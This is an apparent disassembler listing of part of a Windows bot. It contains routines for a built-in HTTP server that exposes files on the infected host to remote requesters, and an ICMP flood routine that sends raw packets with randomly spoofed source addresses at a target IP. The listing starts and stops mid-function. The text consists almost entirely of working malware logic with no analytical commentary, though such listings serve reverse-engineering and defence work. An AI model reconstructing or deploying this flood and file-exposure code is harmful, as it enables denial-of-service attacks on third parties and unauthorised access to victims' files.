		lea	eax, [ebp+74h+var_3C8]
		push	eax
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+74h+var_2C4]
		push	eax
		lea	eax, [ebp+74h+var_654]
		push	eax
		call	sub_412BB5
		xor	ebx, ebx
		add	esp, 10h
		cmp	[ebp+74h+var_A4], ebx
		lea	eax, [ebp+74h+var_9C]
		jz	short loc_403A46
		push	offset aTextHtml ; "text/html"
		jmp	short loc_403A4B
; ---------------------------------------------------------------------------


loc_403A46:				; CODE XREF: sub_4039DE+5Fj
		push	offset aApplicationOct ; "application/octet-stream"


loc_403A4B:				; CODE XREF: sub_4039DE+66j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	46h
		lea	eax, [ebp+74h+var_68]
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	ebx
		push	ebx
		mov	esi, 409h
		push	esi
		call	ds:dword_41F068	; GetDateFormatA
		push	1Eh
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_41F064	; GetTimeFormatA
		cmp	[ebp+74h+var_B8], 0FFFFFFFFh
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_9C]
		jnz	short loc_403AB8
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_412BB5
		add	esp, 24h
		jmp	short loc_403AD0
; ---------------------------------------------------------------------------


loc_403AB8:				; CODE XREF: sub_4039DE+C1j
		push	[ebp+74h+var_B8]
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_412BB5
		add	esp, 28h


loc_403AD0:				; CODE XREF: sub_4039DE+D8j
		lea	eax, [ebp+74h+var_1654]
		lea	edx, [eax+1]


loc_403AD9:				; CODE XREF: sub_4039DE+100j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_403AD9
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	eax
		push	[ebp+74h+var_44C]
		call	dword_433534	; send
		cmp	[ebp+74h+var_A4], ebx
		jnz	short loc_403B12
		lea	eax, [ebp+74h+var_550]
		push	eax
		push	[ebp+74h+var_44C]
		call	sub_4037B8
		pop	ecx
		pop	ecx
		jmp	short loc_403B2F
; ---------------------------------------------------------------------------


loc_403B12:				; CODE XREF: sub_4039DE+11Cj
		lea	eax, [ebp+74h+var_654]
		push	eax
		push	ebx
		push	[ebp+74h+var_44C]
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_4030C4
		add	esp, 10h


loc_403B2F:				; CODE XREF: sub_4039DE+132j
		push	[ebp+74h+var_44C]
		call	dword_4335AC	; closesocket
		push	[ebp+74h+var_B4]
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_4039DE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B4C	proc near		; CODE XREF: sub_403E06+37Cp

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		push	41h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_210]
		rep stosd
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	byte ptr [eax],	2Fh
		mov	[ebp+var_4], esi
		push	eax
		jz	short loc_403B7A
		push	offset aS_6	; "\\%s"
		jmp	short loc_403B82
; ---------------------------------------------------------------------------


loc_403B7A:				; CODE XREF: sub_403B4C+25j
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_403B82:				; CODE XREF: sub_403B4C+2Cj
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_10C]
		add	esp, 0Ch
		xor	edi, edi
		lea	ecx, [eax+1]


loc_403B9C:				; CODE XREF: sub_403B4C+55j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_403B9C
		sub	eax, ecx
		mov	[ebp+arg_8], eax
		jz	short loc_403C22
		push	2
		pop	ebx


loc_403BAD:				; CODE XREF: sub_403B4C+D4j
		lea	eax, [ebp+var_10C]
		lea	edx, [eax+1]


loc_403BB6:				; CODE XREF: sub_403B4C+6Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403BB6
		sub	eax, edx
		cmp	ebx, eax
		jnb	short loc_403BEF
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_403BEF
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_403BEF
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_403BEF
		inc	esi
		inc	esi
		inc	ebx
		mov	[ebp+edi+var_210], 20h
		inc	ebx
		jmp	short loc_403C09
; ---------------------------------------------------------------------------


loc_403BEF:				; CODE XREF: sub_403B4C+75j
					; sub_403B4C+7Fj ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_403BFF
		push	5Ch
		pop	eax
		jmp	short loc_403C02
; ---------------------------------------------------------------------------


loc_403BFF:				; CODE XREF: sub_403B4C+ACj
		movsx	eax, al


loc_403C02:				; CODE XREF: sub_403B4C+B1j
		mov	[ebp+edi+var_210], al


loc_403C09:				; CODE XREF: sub_403B4C+A1j
		inc	esi
		lea	eax, [ebp+var_10C]
		inc	ebx
		inc	edi
		lea	ecx, [eax+1]


loc_403C15:				; CODE XREF: sub_403B4C+CEj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_403C15
		sub	eax, ecx
		cmp	esi, eax
		jb	short loc_403BAD


loc_403C22:				; CODE XREF: sub_403B4C+5Cj
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_314]
		push	offset aSS	; "%s%s"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_314]
		push	offset asc_420328 ; "\n"
		push	eax
		call	sub_413859
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_41F06C	; GetFileAttributesA
		xor	ebx, ebx
		inc	ebx
		cmp	eax, 10h
		jz	short loc_403C73
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403C76
		push	[ebp+arg_0]
		jmp	loc_403CFB
; ---------------------------------------------------------------------------


loc_403C73:				; CODE XREF: sub_403B4C+118j
		mov	[ebp+var_4], ebx


loc_403C76:				; CODE XREF: sub_403B4C+11Dj
		cmp	[ebp+edi+var_211], 5Ch
		jnz	short loc_403C83
		mov	[ebp+var_4], ebx


loc_403C83:				; CODE XREF: sub_403B4C+132j
		mov	eax, [ebp+arg_0]
		xor	edi, edi
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], eax
		mov	[ebp+var_318], edi
		jz	short loc_403D06
		cmp	[ebp+arg_C], edi
		jz	short loc_403CFA
		lea	edi, [ebp+var_314]
		dec	edi


loc_403CA5:				; CODE XREF: sub_403B4C+15Fj
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_403CA5
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		mov	esi, offset asc_4205E4 ; "*"
		push	eax
		movsw
		call	sub_412BB5
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_403879
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_412BB5
		or	[ebp+var_330], 0FFFFFFFFh
		add	esp, 14h
		mov	[ebp+var_31C], ebx
		xor	edi, edi
		jmp	short loc_403D55
; ---------------------------------------------------------------------------


loc_403CFA:				; CODE XREF: sub_403B4C+150j
		push	eax


loc_403CFB:				; CODE XREF: sub_403B4C+122j
		call	dword_4335AC	; closesocket
		jmp	loc_403DED
; ---------------------------------------------------------------------------


loc_403D06:				; CODE XREF: sub_403B4C+14Bj
		push	edi
		push	edi
		push	3
		push	edi
		push	ebx
		push	80000000h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_41F03C	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403D55
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	edi
		push	esi
		mov	[ebp+var_31C], edi
		call	ds:dword_41F060	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_41F034	; CloseHandle


loc_403D55:				; CODE XREF: sub_403B4C+1ACj
					; sub_403B4C+1D7j
		mov	esi, [ebp+arg_10]
		push	esi
		lea	eax, [ebp+var_8C4]
		push	offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"...
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_8C4]
		push	4
		push	eax
		call	sub_410EEA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43433C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		lea	eax, [ebp+var_6C4]
		push	eax
		push	offset sub_4039DE
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_403DFC
		push	[ebp+arg_0]
		call	dword_4335AC	; closesocket
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_401C33
		add	esp, 10h


loc_403DED:				; CODE XREF: sub_403B4C+1B5j
					; sub_403B4C+2B8j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_403DF4:				; CODE XREF: sub_403B4C+2B6j
		push	5
		call	ds:dword_41F000	; Sleep


loc_403DFC:				; CODE XREF: sub_403B4C+26Fj
		cmp	[ebp+var_318], edi
		jz	short loc_403DF4
		jmp	short loc_403DED
sub_403B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_403E06	proc near		; DATA XREF: sub_401141+363o
					; sub_4078FA+3FA2o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_464		= byte ptr -464h
var_360		= dword	ptr -360h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_340		= byte ptr -340h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+var_6F0]
		rep movsd
		push	[ebp+var_360]
		xor	esi, esi
		inc	esi
		mov	[eax+3ACh], esi
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_14], esi
		mov	[ebp+var_24], 2
		call	dword_4335EC	; ntohs
		and	[ebp+var_20], 0
		push	0
		push	esi
		push	2
		mov	[ebp+var_22], ax
		call	dword_4334A0	; socket
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		mov	[ebp+var_8], ebx
		jz	loc_4041D9
		mov	eax, [ebp+var_358]
		imul	eax, 234h
		mov	dword_434344[eax], ebx
		push	10h
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_433578	; bind
		cmp	eax, edi
		jz	loc_4041D9
		push	7FFFFFFFh
		push	ebx
		call	dword_4335C0	; listen
		cmp	eax, edi
		jz	loc_4041D9
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	ebx
		call	dword_433444	; ioctlsocket
		cmp	eax, edi
		jz	loc_4041D9
		push	41h
		xor	eax, eax
		pop	ecx
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		mov	[ebp+var_124], ebx
		mov	[ebp+var_128], esi
		mov	[ebp+var_4], ebx
		lea	eax, [ebx+1]
		jmp	loc_4041BB
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_403E06+3CDj
		xor	esi, esi
		mov	[ebp+arg_0], esi


loc_403EF0:				; CODE XREF: sub_403E06+39Cj
		lea	eax, [ebp+var_23C]
		push	eax
		push	esi
		call	dword_4334F4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404198
		cmp	esi, ebx
		jnz	short loc_403F6D
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	ebx
		mov	[ebp+var_10], 10h
		call	dword_433464	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_404198
		mov	edx, [ebp+var_128]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_403F46


loc_403F38:				; CODE XREF: sub_403E06+13Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_403F46
		inc	ecx
		cmp	ecx, edx
		jb	short loc_403F38


loc_403F46:				; CODE XREF: sub_403E06+130j
					; sub_403E06+139j
		cmp	ecx, edx
		jnz	short loc_403F5C
		cmp	edx, 40h
		jnb	short loc_403F5C
		mov	[ebp+ecx*4+var_124], eax
		inc	[ebp+var_128]


loc_403F5C:				; CODE XREF: sub_403E06+142j
					; sub_403E06+147j
		cmp	eax, [ebp+var_4]
		jbe	loc_404198
		mov	[ebp+var_4], eax
		jmp	loc_404198
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_403E06+102j
		mov	edx, 400h
		xor	eax, eax
		mov	ecx, edx
		lea	edi, [ebp+var_28F0]
		rep stosd
		push	eax
		mov	ecx, edx
		lea	edi, [ebp+var_18F0]
		rep stosd
		push	1000h
		lea	eax, [ebp+var_28F0]
		push	eax
		push	esi
		call	dword_433414	; recv
		test	eax, eax
		jg	short loc_403FF1
		push	esi
		call	dword_4335AC	; closesocket
		xor	eax, eax
		cmp	[ebp+var_128], eax
		jbe	loc_404198


loc_403FB5:				; CODE XREF: sub_403E06+1BFj
		cmp	[ebp+eax*4+var_124], esi
		jz	short loc_403FDB
		inc	eax
		cmp	eax, [ebp+var_128]
		jb	short loc_403FB5
		jmp	loc_404198
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_403E06+1DEj
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		inc	eax


loc_403FDB:				; CODE XREF: sub_403E06+1B6j
		mov	ecx, [ebp+var_128]
		dec	ecx
		cmp	eax, ecx
		jb	short loc_403FCC
		dec	[ebp+var_128]
		jmp	loc_404198
; ---------------------------------------------------------------------------


loc_403FF1:				; CODE XREF: sub_403E06+198j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_340]
		rep stosd
		lea	eax, [ebp+var_28F0]
		xor	ebx, ebx
		xor	esi, esi
		lea	ecx, [eax+1]


loc_40400B:				; CODE XREF: sub_403E06+20Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40400B
		sub	eax, ecx
		mov	[ebp+var_C], eax
		jz	loc_404195


loc_40401D:				; CODE XREF: sub_403E06+2D0j
		mov	al, [ebp+ebx+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_4040C0
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40409A
		lea	eax, [ebp+var_18F0]
		lea	edx, [eax+1]


loc_404054:				; CODE XREF: sub_403E06+253j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404054
		sub	eax, edx
		cmp	eax, 5
		jbe	short loc_40409A
		mov	eax, offset asc_41FA74 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_413920
		pop	ecx
		pop	ecx
		push	eax
		call	sub_413920
		pop	ecx
		pop	ecx
		push	eax
		call	sub_413859
		pop	ecx
		pop	ecx
		lea	edx, [ebp+var_340]


loc_40408E:				; CODE XREF: sub_403E06+290j
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_40408E
		jmp	short loc_4040AE
; ---------------------------------------------------------------------------


loc_40409A:				; CODE XREF: sub_403E06+243j
					; sub_403E06+25Aj
		push	3
		mov	edi, offset asc_420620 ; "\r\n"
		lea	esi, [ebp+var_18F0]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_4040E1


loc_4040AE:				; CODE XREF: sub_403E06+292j
		xor	eax, eax
		mov	ecx, 400h
		lea	edi, [ebp+var_18F0]
		rep stosd
		or	esi, 0FFFFFFFFh


loc_4040C0:				; CODE XREF: sub_403E06+227j
		lea	eax, [ebp+var_28F0]
		inc	ebx
		inc	esi
		lea	ecx, [eax+1]


loc_4040CB:				; CODE XREF: sub_403E06+2CAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4040CB
		sub	eax, ecx
		cmp	ebx, eax
		jb	loc_40401D
		jmp	loc_404195
; ---------------------------------------------------------------------------


loc_4040E1:				; CODE XREF: sub_403E06+2A6j
		mov	ecx, [ebp+var_128]
		xor	eax, eax
		test	ecx, ecx
		jbe	short loc_404120


loc_4040ED:				; CODE XREF: sub_403E06+2F6j
		mov	edx, [ebp+eax*4+var_124]
		cmp	edx, [ebp+arg_0]
		jz	short loc_404115
		inc	eax
		cmp	eax, ecx
		jb	short loc_4040ED
		jmp	short loc_404120
; ---------------------------------------------------------------------------


loc_404100:				; CODE XREF: sub_403E06+312j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ecx, [ebp+var_128]
		inc	eax


loc_404115:				; CODE XREF: sub_403E06+2F1j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_404100
		dec	[ebp+var_128]


loc_404120:				; CODE XREF: sub_403E06+2E5j
					; sub_403E06+2F8j
		lea	eax, [ebp+var_340]
		lea	edx, [eax+1]


loc_404129:				; CODE XREF: sub_403E06+328j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404129
		sub	eax, edx
		mov	esi, eax
		lea	eax, [ebp+var_464]
		lea	ecx, [eax+1]


loc_40413D:				; CODE XREF: sub_403E06+33Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40413D
		sub	eax, ecx
		add	eax, esi
		cmp	eax, 104h
		jnb	short loc_40418C
		and	[ebp+var_C], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_433444	; ioctlsocket
		push	[ebp+var_358]
		lea	eax, [ebp+var_340]
		push	[ebp+var_34C]
		push	eax
		lea	eax, [ebp+var_464]
		push	eax
		push	[ebp+arg_0]
		call	sub_403B4C
		add	esp, 14h
		jmp	short loc_404195
; ---------------------------------------------------------------------------


loc_40418C:				; CODE XREF: sub_403E06+347j
		push	[ebp+arg_0]
		call	dword_4335AC	; closesocket


loc_404195:				; CODE XREF: sub_403E06+211j
					; sub_403E06+2D6j ...
		mov	ebx, [ebp+var_8]


loc_404198:				; CODE XREF: sub_403E06+FAj
					; sub_403E06+120j ...
		mov	esi, [ebp+arg_0]
		inc	esi
		cmp	esi, [ebp+var_4]
		mov	[ebp+arg_0], esi
		jbe	loc_403EF0
		push	41h
		xor	eax, eax
		pop	ecx
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax


loc_4041BB:				; CODE XREF: sub_403E06+E0j
		lea	esi, [ebp+var_128]
		lea	edi, [ebp+var_23C]
		push	eax
		rep movsd
		call	dword_433544	; select
		cmp	eax, 0FFFFFFFFh
		jnz	loc_403EEB


loc_4041D9:				; CODE XREF: sub_403E06+66j
					; sub_403E06+8Dj ...
		call	dword_433558	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"...
		push	eax
		call	sub_412BB5
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_350], esi
		jnz	short loc_404221
		push	esi
		push	[ebp+var_354]
		lea	eax, [ebp+var_8F0]
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		push	[ebp+var_6F0]
		call	sub_4045DD
		add	esp, 14h


loc_404221:				; CODE XREF: sub_403E06+3F6j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_401C33
		pop	ecx
		push	ebx
		call	dword_4335AC	; closesocket
		push	[ebp+var_358]
		call	sub_4111AE
		pop	ecx
		push	esi
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_403E06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_404249	proc near		; DATA XREF: sub_4078FA+2A62o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		rep movsd
		push	0FFh
		xor	esi, esi
		push	3
		inc	esi
		push	2
		mov	[eax+19Ch], esi
		call	dword_4334A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4042B0
		call	dword_433558	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		xor	esi, esi


loc_4042A2:				; CODE XREF: sub_404249+9Cj
					; sub_404249+C3j
		cmp	[ebp+var_24], esi
		jnz	loc_404504
		jmp	loc_4044E4
; ---------------------------------------------------------------------------


loc_4042B0:				; CODE XREF: sub_404249+3Aj
		push	4
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	[ebp+var_C], esi
		push	2
		xor	esi, esi
		push	esi
		push	eax
		call	dword_4334BC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4042E7
		call	dword_433558	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_4042A2
; ---------------------------------------------------------------------------


loc_4042E7:				; CODE XREF: sub_404249+7Fj
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_433514	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40430E
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_4042A2
; ---------------------------------------------------------------------------


loc_40430E:				; CODE XREF: sub_404249+AEj
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		stosd
		stosd
		stosd
		stosd
		push	esi
		mov	[ebp+var_1C], 2
		call	dword_4335EC	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_433514	; inet_addr
		mov	ebx, ds:dword_41F004
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], esi
		call	ebx	; GetTickCount
		mov	[ebp+var_8], eax
		call	ebx	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_40449C
		mov	esi, 100h


loc_404362:				; CODE XREF: sub_404249+24Bj
		push	41Ch
		mov	byte_432FF8, 45h
		call	dword_4335EC	; ntohs
		mov	word_432FFA, ax
		xor	eax, eax
		cmp	[ebp+var_2C], eax
		mov	word_432FFC, 1
		mov	word_432FFE, ax
		mov	byte_433000, 80h
		mov	byte_433001, 1
		mov	word_433002, ax
		jz	short loc_4043D1
		call	sub_412D71
		mov	edi, eax
		shl	edi, 8
		call	sub_412D71
		add	edi, eax
		shl	edi, 8
		call	sub_412D71
		add	edi, eax
		shl	edi, 8
		call	sub_412D71
		add	edi, eax
		mov	dword_433004, edi
		jmp	short loc_4043E9
; ---------------------------------------------------------------------------


loc_4043D1:				; CODE XREF: sub_404249+159j
		push	[ebp+var_1BC]
		call	sub_406C33
		pop	ecx
		push	eax
		call	dword_433514	; inet_addr
		mov	dword_433004, eax


loc_4043E9:				; CODE XREF: sub_404249+186j
		mov	eax, [ebp+var_18]
		mov	dword_433008, eax
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	byte_43300C, dl
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	byte_43300D, dl
		call	sub_412D71
		cdq
		mov	ecx, 0F0h
		idiv	ecx
		and	word_43300E, 0
		mov	word_433012, 1
		inc	edx
		mov	word_433010, dx
		call	sub_412D71
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	10h
		mov	edi, offset dword_433014
		mov	al, dl
		mov	cl, al
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, esi
		rep stosd
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		push	edi
		push	41Ch
		push	offset byte_432FF8
		push	[ebp+var_4]
		call	dword_433470	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_404521
		inc	[ebp+arg_0]
		call	ebx	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_404362
		xor	esi, esi


loc_40449C:				; CODE XREF: sub_404249+10Ej
		push	[ebp+var_4]
		call	dword_4335AC	; closesocket
		mov	eax, [ebp+arg_0]
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to	IP: %s.	S"...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		cmp	[ebp+var_24], esi
		jnz	short loc_404504


loc_4044E4:				; CODE XREF: sub_404249+62j
		push	esi
		push	[ebp+var_28]
		lea	eax, [ebp+var_3BC]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4045DD
		add	esp, 14h


loc_404504:				; CODE XREF: sub_404249+5Cj
					; sub_404249+299j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_401C33
		push	[ebp+var_38]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi


loc_40451B:				; CODE XREF: sub_404249+347j
		call	ds:dword_41F014	; ExitThread


loc_404521:				; CODE XREF: sub_404249+231j
		push	[ebp+var_4]
		call	dword_4335AC	; closesocket
		call	dword_433558	; WSAGetLastError
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B8]
		push	eax
		push	offset aIcmpErrorSendi ; "[ICMP]: Error	sending	packets	to IP: %s"...
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_404579
		push	edi
		push	[ebp+var_28]
